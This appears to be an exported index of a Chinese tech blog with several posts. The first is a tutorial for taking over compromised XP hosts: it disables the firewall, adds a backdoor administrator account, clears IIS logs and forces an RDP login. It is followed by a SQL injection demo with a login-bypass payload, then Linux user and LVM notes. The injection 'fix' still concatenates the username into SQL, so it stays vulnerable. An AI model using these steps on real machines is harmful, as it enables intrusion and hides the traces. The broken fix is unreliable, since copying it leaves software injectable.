MS SQL</em>SERVER数据库monitor，默认的端口号为1434/tcp 1434/udp；<br>  QQ，默认的端口号为1080/udp</p></li></ul><p>XP下双开3389的教程</p><p>用到的工具有</p><p>xp3389.exe  termsrvhack.dll  3389.bat 这么几个文件</p><p>首先关他的防火墙</p><p>就在这里面输入   net stop sharedaccess  再回车就OK了</p><p>现在我们先把xp3389.exe  termsrvhack.dll这2个文件传个肉鸡  3389.bat这个要修该后再传的</p><p>再运行它。看操作<br>OK! the Tsenabled成功<br>再输入Tasklist/SVC &gt;&gt;c:\3389.txt</p><p>再肉鸡里面找到3389.txt文件本地打开DcomLaunch, TermService  把这些英文前面的数字记下来</p><p>然后返回本地找到  3389.bat</p><p>右键编辑  把原来的覆盖掉  保持OK  再传给肉鸡  并运行他</p><p>已经OK了。好我们看下能不能连接</p><p>1：net stop sharedaccess(关掉防火墙命令)<br>              2：Tasklist/SVC &gt;&gt;c:\3389.txt<br>              3：net user 1 1 /add 意思是建立一下用户名为1密码也为1的用户<br>              4：net localgroup administrators 1 /add 把１这个用户提升为管理员权限</p><p>日志位于/windows/system32/logfiles/w3svc1目录下!<br>    主要原因：</p><pre><code> C:\WINDOWS\system32\LogFiles文件夹下为系统日志统计文件,文件系统并不自动删除。处理方法：对日志文件进行合理的清理。    清理方法如下：找到c:/winnt/system32/logfiles/w3svc1目录下的文件，队保留最近的几个日志外，清理干净就可以了！！FTP日志默认位置：%systemroot%\system32\logfiles\msftpsvc1\，默认每天一个。WWW日志默认位置：%systemroot%\system32\logfiles\w3svc1\，默认每天一个日志。</code></pre><p>强制登陆3389<br>mstsc /admin /v:IP:端口</p>]]></content>
      
      
      <categories>
          
          <category> SQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> 万能密码 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL注入的简单案例</title>
      <link href="/2018/10/17/sql-zhu-ru-de-jian-dan-an-li/"/>
      <url>/2018/10/17/sql-zhu-ru-de-jian-dan-an-li/</url>
      
        <content type="html"><![CDATA[<h1 id="什么是SQL注入"><a href="#什么是SQL注入" class="headerlink" title="什么是SQL注入"></a>什么是SQL注入</h1><p>SQL注入是现在普通使用的一种攻击手段，就是通过把非法的SQL命令插入到Web表单中或页面请求查询字符串中，最终达到欺骗服务器执行恶意的SQL语句的目的。SQL注入一旦成功，轻则直接绕开服务器验证，直接登录成功，重则将服务器端数据库中的内容一览无余，更有甚者，直接篡改数据库内容等。</p><h3 id="使用数据库客户端工具查询用户表"><a href="#使用数据库客户端工具查询用户表" class="headerlink" title="使用数据库客户端工具查询用户表"></a>使用数据库客户端工具查询用户表</h3><p>该表中有1个用户，账号为admin，明文密码为123456</p><p><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/6DCFD8AF50F74062B95CE1E4CDDE57C3/2811" alt=""></p><h3 id="访问ERP系统（对密码输入框进行SQL注入）"><a href="#访问ERP系统（对密码输入框进行SQL注入）" class="headerlink" title="访问ERP系统（对密码输入框进行SQL注入）"></a>访问ERP系统（对密码输入框进行SQL注入）</h3><ul><li><p>用户名输入：随便输</p></li><li><p>密码输入：’ OR ‘1’=’1<br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/3EA5BB79E7874011B25DFBD7AD9F7D79/2813" alt=""></p></li><li><p>发现可以登录进来<br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/1D3A486CE18442C39F8BF5C05FD28348/2815" alt=""></p></li></ul><h3 id="SQL注入的原理"><a href="#SQL注入的原理" class="headerlink" title="SQL注入的原理"></a>SQL注入的原理</h3><p>密码验证的接口根据输入的用户名和密码查询数据表，如果查到用户记录的话，则认证通过。<br>代码如下:</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">public boolean auth(String userName,String password) throws Exception&#123;</span><br><span class="line">    Connection conn = null;</span><br><span class="line">    try &#123;</span><br><span class="line">        conn = DBUtil.getConnection();</span><br><span class="line">        Statement state = conn.createStatement();</span><br><span class="line">        //</span><br><span class="line">        String sql = &quot;SELECT * &quot; +</span><br><span class="line">                     &quot;FROM t_user &quot;+</span><br><span class="line">                     &quot;WHERE username=&#x27;&quot;+userName+&quot;&#x27; &quot; +</span><br><span class="line">                     &quot;AND pwd=&#x27;&quot;+password+&quot;&#x27;&quot;;</span><br><span class="line">        /*</span><br><span class="line">         * 密码输入:</span><br><span class="line">         * &#x27; OR &#x27;1&#x27;=&#x27;1</span><br><span class="line">         * sql注入攻击</span><br><span class="line">         * </span><br><span class="line">         */</span><br><span class="line">        System.out.println(sql);</span><br><span class="line">        </span><br><span class="line">        ResultSet rs </span><br><span class="line">            = state.executeQuery(sql);</span><br><span class="line">        //</span><br><span class="line">        if(rs.next())&#123;</span><br><span class="line">            return true;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; catch (Exception e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125; finally&#123;</span><br><span class="line">        if(conn != null)&#123;</span><br><span class="line">            DBUtil.close(conn);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    return false;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>实际执行的sql语句如下：</p><blockquote><p>SELECT * FROM t_user WHERE username=’1qwerwterrt’ AND pwd=’’ OR ‘1’=’1’;</p></blockquote><p>因为’1’=’1’永远成立，导致能够查询到所有的用户，所以登录认证通过。</p><p><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/CC4DF51160B54463B9B3389E1479D9D5/2817" alt=""></p><h3 id="解决方案"><a href="#解决方案" class="headerlink" title="解决方案"></a>解决方案</h3><p>修改UserDAO类（使用shiro框架对输入的密码进行加密，然后再对数据库进行操作），具体步骤如下：</p><ul><li>修改用户注册的接口<br>修改后，代码如下：<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/**</span><br><span class="line"> * 增加用户信息(注册时用)</span><br><span class="line"> * @param u</span><br><span class="line"> * @throws Exception</span><br><span class="line"> */</span><br><span class="line">public void save(User u)throws Exception&#123;</span><br><span class="line">    //设置盐巴</span><br><span class="line">    String salt = new SecureRandomNumberGenerator().nextBytes().toString();</span><br><span class="line">    //设置撒多少次盐巴</span><br><span class="line">    int times = 2;</span><br><span class="line">    //生成密文</span><br><span class="line">    String encodedPassword = new SimpleHash(&quot;md5&quot;,u.getPwd(),salt,times).toString();</span><br><span class="line">    Connection con = null;</span><br><span class="line">    PreparedStatement pst = null;</span><br><span class="line">    try&#123;</span><br><span class="line">        con = DBUtil.getConnection();</span><br><span class="line">        pst = con.prepareStatement(&quot;insert into t_user(username,pwd,realname,gender,salt) values (?,?,?,?,?)&quot;);</span><br><span class="line">        pst.setString(1,u.getUsername());</span><br><span class="line">        pst.setString(2,encodedPassword);</span><br><span class="line">        pst.setString(3,u.getName());</span><br><span class="line">        pst.setString(4,u.getGender());</span><br><span class="line">        pst.setString(5,salt);</span><br><span class="line">        pst.executeUpdate();</span><br><span class="line">    &#125;catch(Exception e)&#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">        throw e;</span><br><span class="line">    &#125;finally&#123;</span><br><span class="line">        DBUtil.close(con);</span><br><span class="line">    &#125;       </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li>修改登录认证的接口</li></ul><p>修改后，代码如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/**</span><br><span class="line"> * 登录认证</span><br><span class="line"> * @param userName</span><br><span class="line"> * @param password</span><br><span class="line"> * @return</span><br><span class="line"> * @throws Exception</span><br><span class="line"> */</span><br><span class="line">public boolean auth(String userName,String password) throws Exception&#123;</span><br><span class="line">    Connection conn = null;</span><br><span class="line">    User user = findByUserName(userName);</span><br><span class="line">    if(user==null)&#123;</span><br><span class="line">        return false;</span><br><span class="line">    &#125;</span><br><span class="line">    //得到密文</span><br><span class="line">    String encodePassword = new SimpleHash(&quot;md5&quot;,password,user.getSalt(),2).toString();</span><br><span class="line">    try &#123;</span><br><span class="line">        conn = DBUtil.getConnection();</span><br><span class="line">        Statement state = conn.createStatement();</span><br><span class="line">        //</span><br><span class="line">        String sql = &quot;SELECT * &quot; +</span><br><span class="line">                     &quot;FROM t_user &quot;+</span><br><span class="line">                     &quot;WHERE username=&#x27;&quot;+userName+&quot;&#x27; &quot; +</span><br><span class="line">                     &quot;AND pwd=&#x27;&quot;+encodePassword+&quot;&#x27;&quot;;</span><br><span class="line">        //打印被执行的SQL语句</span><br><span class="line">        System.out.println(sql);</span><br><span class="line">        </span><br><span class="line">        ResultSet rs = state.executeQuery(sql);</span><br><span class="line">        //</span><br><span class="line">        if(rs.next())&#123;</span><br><span class="line">            return true;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; catch (Exception e) &#123;</span><br><span class="line">        e.printStackTrace();</span><br><span class="line">    &#125; finally&#123;</span><br><span class="line">        if(conn != null)&#123;</span><br><span class="line">            DBUtil.close(conn);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    return false;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="重新注册一个管理员账号"><a href="#重新注册一个管理员账号" class="headerlink" title="重新注册一个管理员账号"></a>重新注册一个管理员账号</h3><ul><li>输入用户名：sys</li><li>输入密码：123456</li></ul><p><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/3C2CF8B270C6492CBFE93A9816C06BA2/2819" alt=""></p><ul><li>数据表里面sys用户的密码为密文<br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/F9FB23BC189547068C8A1DA1DCC95BD3/2821" alt=""><h3 id="使用sys账号登录ERP系统（输入正确的密码）"><a href="#使用sys账号登录ERP系统（输入正确的密码）" class="headerlink" title="使用sys账号登录ERP系统（输入正确的密码）"></a>使用sys账号登录ERP系统（输入正确的密码）</h3></li></ul><p>输入密码为：123456<br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/203D1BF6D8964D4D8B6BCABF8F51CFFC/2823" alt=""></p><h3 id="使用sys账号登录ERP系统（对密码输入框进行SQL注入）"><a href="#使用sys账号登录ERP系统（对密码输入框进行SQL注入）" class="headerlink" title="使用sys账号登录ERP系统（对密码输入框进行SQL注入）"></a>使用sys账号登录ERP系统（对密码输入框进行SQL注入）</h3><p>输入密码为：’ OR ‘1’=’1<br><img src="https://note.youdao.com/yws/public/resource/b668ad7e2986aeae14431f59531ace89/xmlnote/719FDB661CA24416B059AAD8E8852D5B/2825" alt=""></p><h3 id="UserDAO类的完整代码"><a href="#UserDAO类的完整代码" class="headerlink" title="UserDAO类的完整代码"></a>UserDAO类的完整代码</h3><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.myerp.dao;</span><br><span class="line"></span><br><span class="line">import java.sql.Connection;</span><br><span class="line">import java.sql.PreparedStatement;</span><br><span class="line">import java.sql.ResultSet;</span><br><span class="line">import java.sql.Statement;</span><br><span class="line"></span><br><span class="line">import org.apache.shiro.crypto.SecureRandomNumberGenerator;</span><br><span class="line">import org.apache.shiro.crypto.hash.SimpleHash;</span><br><span class="line"></span><br><span class="line">import com.myerp.model.User;</span><br><span class="line">import com.myerp.utils.DBUtil;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 针对用户表t_user的数据访问类</span><br><span class="line"> * @author yangzc</span><br><span class="line"> *</span><br><span class="line"> */</span><br><span class="line">public class UserDAO &#123;</span><br><span class="line">    /**</span><br><span class="line">     * 按照username查询一个实体信息</span><br><span class="line">     * 注册时用于检测用户名是否重复</span><br><span class="line">     * 登录时用于检测用户名密码是否正确</span><br><span class="line">     * @param userName</span><br><span class="line">     * @return</span><br><span class="line">     * @throws Exception</span><br><span class="line">     */</span><br><span class="line">    public User findByUserName(String userName)throws Exception&#123;</span><br><span class="line">        User user = null;</span><br><span class="line">        Connection conn = null;</span><br><span class="line">        PreparedStatement pst = null;</span><br><span class="line">        ResultSet rs = null;</span><br><span class="line">        try&#123;</span><br><span class="line">            conn = DBUtil.getConnection();</span><br><span class="line">            pst = conn.prepareStatement(&quot;select * from t_user where username=?&quot;);</span><br><span class="line">            pst.setString(1, userName);</span><br><span class="line">            rs = pst.executeQuery();</span><br><span class="line">            while(rs.next())&#123;</span><br><span class="line">                user = new User();</span><br><span class="line">                user.setId(rs.getInt(&quot;id&quot;));</span><br><span class="line">                user.setUsername(rs.getString(&quot;username&quot;));</span><br><span class="line">                user.setPwd(rs.getString(&quot;pwd&quot;));</span><br><span class="line">                user.setName(rs.getString(&quot;realname&quot;));</span><br><span class="line">                user.setGender(rs.getString(&quot;gender&quot;));     </span><br><span class="line">                user.setSalt(rs.getString(&quot;salt&quot;));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;catch(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">            throw e;</span><br><span class="line">        &#125;finally&#123;</span><br><span class="line">            DBUtil.close(conn);</span><br><span class="line">        &#125;</span><br><span class="line">        return user;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    /**</span><br><span class="line">     * 增加用户信息(注册时用)</span><br><span class="line">     * @param u</span><br><span class="line">     * @throws Exception</span><br><span class="line">     */</span><br><span class="line">    public void save(User u)throws Exception&#123;</span><br><span class="line">        //设置盐巴</span><br><span class="line">        String salt = new SecureRandomNumberGenerator().nextBytes().toString();</span><br><span class="line">        //设置撒多少次盐巴</span><br><span class="line">        int times = 2;</span><br><span class="line">        //生成密文</span><br><span class="line">        String encodedPassword = new SimpleHash(&quot;md5&quot;,u.getPwd(),salt,times).toString();</span><br><span class="line">        Connection con = null;</span><br><span class="line">        PreparedStatement pst = null;</span><br><span class="line">        try&#123;</span><br><span class="line">            con = DBUtil.getConnection();</span><br><span class="line">            pst = con.prepareStatement(&quot;insert into t_user(username,pwd,realname,gender,salt) values (?,?,?,?,?)&quot;);</span><br><span class="line">            pst.setString(1,u.getUsername());</span><br><span class="line">            pst.setString(2,encodedPassword);</span><br><span class="line">            pst.setString(3,u.getName());</span><br><span class="line">            pst.setString(4,u.getGender());</span><br><span class="line">            pst.setString(5,salt);</span><br><span class="line">            pst.executeUpdate();</span><br><span class="line">        &#125;catch(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">            throw e;</span><br><span class="line">        &#125;finally&#123;</span><br><span class="line">            DBUtil.close(con);</span><br><span class="line">        &#125;       </span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    /**</span><br><span class="line">     * 登录认证</span><br><span class="line">     * @param userName</span><br><span class="line">     * @param password</span><br><span class="line">     * @return</span><br><span class="line">     * @throws Exception</span><br><span class="line">     */</span><br><span class="line">    public boolean auth(String userName,String password) throws Exception&#123;</span><br><span class="line">        Connection conn = null;</span><br><span class="line">        User user = findByUserName(userName);</span><br><span class="line">        if(user==null)&#123;</span><br><span class="line">            return false;</span><br><span class="line">        &#125;</span><br><span class="line">        //得到密文</span><br><span class="line">        String encodePassword = new SimpleHash(&quot;md5&quot;,password,user.getSalt(),2).toString();</span><br><span class="line">        try &#123;</span><br><span class="line">            conn = DBUtil.getConnection();</span><br><span class="line">            Statement state = conn.createStatement();</span><br><span class="line">            //</span><br><span class="line">            String sql = &quot;SELECT * &quot; +</span><br><span class="line">                         &quot;FROM t_user &quot;+</span><br><span class="line">                         &quot;WHERE username=&#x27;&quot;+userName+&quot;&#x27; &quot; +</span><br><span class="line">                         &quot;AND pwd=&#x27;&quot;+encodePassword+&quot;&#x27;&quot;;</span><br><span class="line">            //打印被执行的SQL语句</span><br><span class="line">            System.out.println(sql);</span><br><span class="line">            </span><br><span class="line">            ResultSet rs = state.executeQuery(sql);</span><br><span class="line">            //</span><br><span class="line">            if(rs.next())&#123;</span><br><span class="line">                return true;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; catch (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125; finally&#123;</span><br><span class="line">            if(conn != null)&#123;</span><br><span class="line">                DBUtil.close(conn);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        return false;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> SQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> 万能密码 </tag>
            
            <tag> SQL注入 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 用户和组管理</title>
      <link href="/2018/08/26/linux-yong-hu-he-zu-guan-li/"/>
      <url>/2018/08/26/linux-yong-hu-he-zu-guan-li/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-用户和组管理"><a href="#Linux-用户和组管理" class="headerlink" title="Linux 用户和组管理"></a>Linux 用户和组管理</h1><p>Linux 操作系统是一个多用户操作系统，它允许多用户同时登录到系统上并使用资源。系统会根据账户来区分每个用户的文件，进程，任务和工作环境，使得每个用户工作都不受干扰。</p><h1 id="使用-Root-用户"><a href="#使用-Root-用户" class="headerlink" title="使用 Root 用户"></a>使用 Root 用户</h1><p>在实际生产操作中，我们基本上都是使用超级管理员账户操作 Linux 系统，也就是 Root 用户，Linux 系统默认是关闭 Root 账户的，我们需要为 Root 用户设置一个初始密码以方便我们使用。</p><h3 id="设置-Root-账户密码"><a href="#设置-Root-账户密码" class="headerlink" title="设置 Root 账户密码"></a>设置 Root 账户密码</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">sudo passwd root</span><br></pre></td></tr></table></figure><h3 id="切换到-Root"><a href="#切换到-Root" class="headerlink" title="切换到 Root"></a>切换到 Root</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">su</span><br></pre></td></tr></table></figure><h3 id="设置允许远程登录-Root"><a href="#设置允许远程登录-Root" class="headerlink" title="设置允许远程登录 Root"></a>设置允许远程登录 Root</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">nano /etc/ssh/sshd_config</span><br><span class="line"></span><br><span class="line"># Authentication:</span><br><span class="line">LoginGraceTime 120</span><br><span class="line">#PermitRootLogin without-password     //注释此行</span><br><span class="line">PermitRootLogin yes                             //加入此行</span><br><span class="line">StrictModes yes</span><br><span class="line"></span><br><span class="line">重启服务</span><br><span class="line">service ssh restart</span><br></pre></td></tr></table></figure><h1 id="用户账户说明"><a href="#用户账户说明" class="headerlink" title="用户账户说明"></a>用户账户说明</h1><h3 id="普通用户"><a href="#普通用户" class="headerlink" title="普通用户"></a>普通用户</h3><p>普通用户在系统上的任务是进行普通操作</p><h3 id="超级管理员"><a href="#超级管理员" class="headerlink" title="超级管理员"></a>超级管理员</h3><p>管理员在系统上的任务是对普通用户和整个系统进行管理。对系统具有绝对的控制权，能够对系统进行一切操作。用 root 表示，root 用户在系统中拥有最高权限，默认下 Ubuntu 用户的 root 用户是不能登录的。</p><h1 id="安装时创建的系统用户"><a href="#安装时创建的系统用户" class="headerlink" title="安装时创建的系统用户"></a>安装时创建的系统用户</h1><p>此用户创建时被添加到 admin 组中，在 Ubuntu 中，admin 组中的用户默认是可以使用 sudo 命令来执行只有管理员才能执行的命令的。如果不使用 <code>sudo</code> 就是一个普通用户。</p><h1 id="组账户说明"><a href="#组账户说明" class="headerlink" title="组账户说明"></a>组账户说明</h1><h3 id="私有组"><a href="#私有组" class="headerlink" title="私有组"></a>私有组</h3><p>当创建一个用户时没有指定属于哪个组，Linux 就会建立一个与用户同名的私有组，此私有组只含有该用户。</p><h3 id="标准组"><a href="#标准组" class="headerlink" title="标准组"></a>标准组</h3><p>当创建一个用户时可以选定一个标准组，如果一个用户同时属于多个组时，登录后所属的组为主组，其他的为附加组。</p><h1 id="账户系统文件说明"><a href="#账户系统文件说明" class="headerlink" title="账户系统文件说明"></a>账户系统文件说明</h1><h3 id="etc-passwd"><a href="#etc-passwd" class="headerlink" title="/etc/passwd"></a>/etc/passwd</h3><p>每一行代表一个账号，众多账号是系统正常运行所必须的，例如 bin，nobody 每行定义一个用户账户，此文件对所有用户可读。每行账户包含如下信息：</p><p><code>root:x:0:0:root:/root:/bin/bash</code></p><ul><li><strong>用户名</strong>： 就是账号，用来对应 UID，root UID 是 0。</li><li><strong>口令</strong>： 密码，早期 UNIX 系统密码存在此字段，由于此文件所有用户都可以读取，密码容易泄露，后来这个字段数据就存放到 /etc/shadow 中，这里只能看到 X。</li><li><strong>用户标示号（UID）</strong>： 系统内唯一，root 用户的 UID 为 0，普通用户从 1000 开始，1-999 是系统的标准账户，500-65536 是可登陆账号。</li><li><strong>组标示号（GID）</strong>： 与 /etc/group 相关用来规定组名和 GID 相对应。</li><li><strong>注释</strong>： 注释账号</li><li><strong>宿主目录（主文件夹）</strong>： 用户登录系统后所进入的目录 root 在 /root/itcast</li><li><strong>命令解释器（shell）</strong>： 指定该用户使用的 shell ，默认的是 /bin/bash</li></ul><h3 id="etc-shadow"><a href="#etc-shadow" class="headerlink" title="/etc/shadow"></a>/etc/shadow</h3><p>为了增加系统的安全性，用户口令通常用 shadow passwords 保护。只有 root 可读。每行包含如下信息：<br><code>root:$6$Reu571.V$Ci/kd.OTzaSGU.TagZ5KjYx2MLzQv2IkZ24E1.yeTT3Pp4o/yniTjus/rRaJ92Z18MVy6suf1W5uxxurqssel.:17465:0:99999:7:::</code></p><ul><li>账号名称： 需要和 /etc/passwd 一致。</li><li>密码： 经过加密，虽然加密，但不表示不会被破解，该文件默认权限如下：<ul><li>rw——- 1 root root 1560 Oct 26 17:20 passwd-</li><li>只有root能都读写</li></ul></li><li>最近修改密码日期：  从1970-1-1起，到用户最后一次更改口令的天数</li><li>密码最小时间间隔： 从1970-1-1起，到用户可以更改口令的天数</li><li>密码最大时间间隔： 从1970-1-1起，必须更改的口令天数</li><li>密码到期警告时间： 在口令过期之前几天通知</li><li>密码到期后账号宽限时间</li><li>密码到期禁用账户时间： 在用户口令过期后到禁用账户的天数</li><li>保留</li></ul><h3 id="etc-group"><a href="#etc-group" class="headerlink" title="/etc/group"></a>/etc/group</h3><p>用户组的配置文件</p><p><code>root:x:0:</code></p><ul><li>用户组名称</li><li>用户组密码： 给用户组管理员使用，通常不用</li><li>GID： 用户组的ID</li><li>此用户支持的账号名称： 一个账号可以加入多个用户组，例如想要 itcast 加入 root 这个用户组，将该账号填入该字段即可 root❌0:root, icast 将用户进行分组是 Linux 对用户进行管理及控制访问权限的一种手段。一个中可以有多个用户，一个用户可以同时属于多个组。该文件对所有用户可读。</li></ul><h3 id="etc-gshadow"><a href="#etc-gshadow" class="headerlink" title="/etc/gshadow"></a>/etc/gshadow</h3><p>该文件用户定义用户组口令，组管理员等信息只有root用户可读。</p><p><code>root:\*::</code></p><ul><li>用户组名</li><li>密码列</li><li>用户组管理员的账号</li><li>用户组所属账号<h3 id="账户管理常用命"><a href="#账户管理常用命" class="headerlink" title="账户管理常用命"></a>账户管理常用命</h3><h4 id="增加用户"><a href="#增加用户" class="headerlink" title="增加用户"></a>增加用户</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">useradd 用户名</span><br><span class="line">useradd -u (UID号)</span><br><span class="line">useradd -p (口令)</span><br><span class="line">useradd -g (分组)</span><br><span class="line">useradd -s (SHELL)</span><br><span class="line">useradd -d (用户目录)</span><br></pre></td></tr></table></figure></li></ul><p>如：<code>useradd lusifer</code></p><p>增加用户名为 lusifer 的账户</p><h4 id="修改用户"><a href="#修改用户" class="headerlink" title="修改用户"></a>修改用户</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">usermod -u (新UID)</span><br><span class="line">usermod -d (用户目录)</span><br><span class="line">usermod -g (组名)</span><br><span class="line">usermod -s (SHELL)</span><br><span class="line">usermod -p (新口令)</span><br><span class="line">usermod -l (新登录名)</span><br><span class="line">usermod -L (锁定用户账号密码)</span><br><span class="line">usermod -U (解锁用户账号)</span><br></pre></td></tr></table></figure><p>如：<code>usermod -u 1024 -g group2 -G root lusifer</code></p><p>将 lusifer 用户 uid 修改为 1024，默认组改为系统中已经存在的 group2，并且加入到系统管理员组</p><h4 id="删除用户"><a href="#删除用户" class="headerlink" title="删除用户"></a>删除用户</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">userdel 用户名 (删除用户账号)</span><br><span class="line">userdel -r 删除账号时同时删除目录</span><br></pre></td></tr></table></figure><p>如：<code>userdel -r lusifer</code></p><p>删除用户名为 lusifer 的账户并同时删除 lusifer 的用户目录</p><h3 id="组账户维护"><a href="#组账户维护" class="headerlink" title="组账户维护"></a>组账户维护</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">groupadd 组账户名 (创建新组)</span><br><span class="line">groupadd -g 指定组GID</span><br><span class="line">groupmod -g 更改组的GID</span><br><span class="line">groupmod -n 更改组账户名</span><br><span class="line">groupdel 组账户名 (删除指定组账户)</span><br></pre></td></tr></table></figure><h3 id="口令维护"><a href="#口令维护" class="headerlink" title="口令维护"></a>口令维护</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">passwd 用户账户名 (设置用户口令)</span><br><span class="line">passwd -l 用户账户名 (锁定用户账户)</span><br><span class="line">passwd -u 用户账户名 (解锁用户账户)</span><br><span class="line">passwd -d 用户账户名 (删除账户口令)</span><br><span class="line">gpasswd -a 用户账户名 组账户名 (将指定用户添加到指定组)</span><br><span class="line">gpasswd -d 用户账户名 组账户名 (将用户从指定组中删除)</span><br><span class="line">gpasswd -A 用户账户名 组账户名 (将用户指定为组的管理员)</span><br></pre></td></tr></table></figure><h4 id="用户和组状态"><a href="#用户和组状态" class="headerlink" title="用户和组状态"></a>用户和组状态</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">su 用户名(切换用户账户)</span><br><span class="line">id 用户名(显示用户的UID，GID)</span><br><span class="line">whoami (显示当前用户名称)</span><br><span class="line">groups (显示用户所属组)</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux LVM 磁盘扩容</title>
      <link href="/2018/08/16/linux-lvm-ci-pan-kuo-rong/"/>
      <url>/2018/08/16/linux-lvm-ci-pan-kuo-rong/</url>
      
        <content type="html"><![CDATA[<h1 id="LVM-的基本概念"><a href="#LVM-的基本概念" class="headerlink" title="LVM 的基本概念"></a>LVM 的基本概念</h1><h3 id="物理卷-Physical-volume-PV"><a href="#物理卷-Physical-volume-PV" class="headerlink" title="物理卷 Physical volume (PV)"></a>物理卷 Physical volume (PV)</h3><p>可以在上面建立卷组的媒介，可以是硬盘分区，也可以是硬盘本身或者回环文件（loopback file）。物理卷包括一个特殊的 header，其余部分被切割为一块块物理区域（physical extents）。</p><h4 id="卷组-Volume-group-VG"><a href="#卷组-Volume-group-VG" class="headerlink" title="卷组 Volume group (VG)"></a>卷组 Volume group (VG)</h4><p>将一组物理卷收集为一个管理单元。</p><h4 id="逻辑卷-Logical-volume-LV"><a href="#逻辑卷-Logical-volume-LV" class="headerlink" title="逻辑卷 Logical volume (LV)"></a>逻辑卷 Logical volume (LV)</h4><p>虚拟分区，由物理区域（physical extents）组成。</p><h4 id="物理区域-Physical-extent-PE"><a href="#物理区域-Physical-extent-PE" class="headerlink" title="物理区域 Physical extent (PE)"></a>物理区域 Physical extent (PE)</h4><p>硬盘可供指派给逻辑卷的最小单位（通常为 4MB）。</p><h1 id="磁盘操作相关命令"><a href="#磁盘操作相关命令" class="headerlink" title="磁盘操作相关命令"></a>磁盘操作相关命令</h1><h4 id="df-h（查看挂载点）"><a href="#df-h（查看挂载点）" class="headerlink" title="df -h（查看挂载点）"></a><code>df -h</code>（查看挂载点）</h4><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/5EF5AB70A7864D6CB778E29F1E49ECE8/1848" alt=""></p><h4 id="lvdisplay（显示当前的-logical-volume）"><a href="#lvdisplay（显示当前的-logical-volume）" class="headerlink" title="lvdisplay（显示当前的 logical volume）"></a><code>lvdisplay</code>（显示当前的 logical volume）</h4><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/B46A16706BE84D7785ABDEDB2ABC8447/1850" alt=""></p><p>备注： 注意这里目前有两个，一个是文件系统所在的 volume，另一个是 swap 分区使用的 volume，当然，我们需要扩容的是第一个</p><h4 id="vgdisplay（显示当前的-volume-group）"><a href="#vgdisplay（显示当前的-volume-group）" class="headerlink" title="vgdisplay（显示当前的 volume group）"></a><code>vgdisplay</code>（显示当前的 volume group）</h4><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/28102956E5304EDB9F65AAB4B89F132A/1854" alt=""></p><h1 id="开始-LVM-扩容"><a href="#开始-LVM-扩容" class="headerlink" title="开始 LVM 扩容"></a>开始 LVM 扩容</h1><h3 id="查看-fdisk"><a href="#查看-fdisk" class="headerlink" title="查看 fdisk"></a>查看 fdisk</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">fdisk -l</span><br></pre></td></tr></table></figure><p><img src="https://note.youdao.com/yws/public/resource/4446b015d9dc2fb92d362fab8b947642/xmlnote/8F4B442E5D8347AA80C023E193659953/1856" alt=""></p><p>因为这台机器默认开启了 LVM，所以目前有一个 <code>extended</code>分区和一个<code>LVM</code> 分区，并且他们是完全重叠的。这是因为，LVM 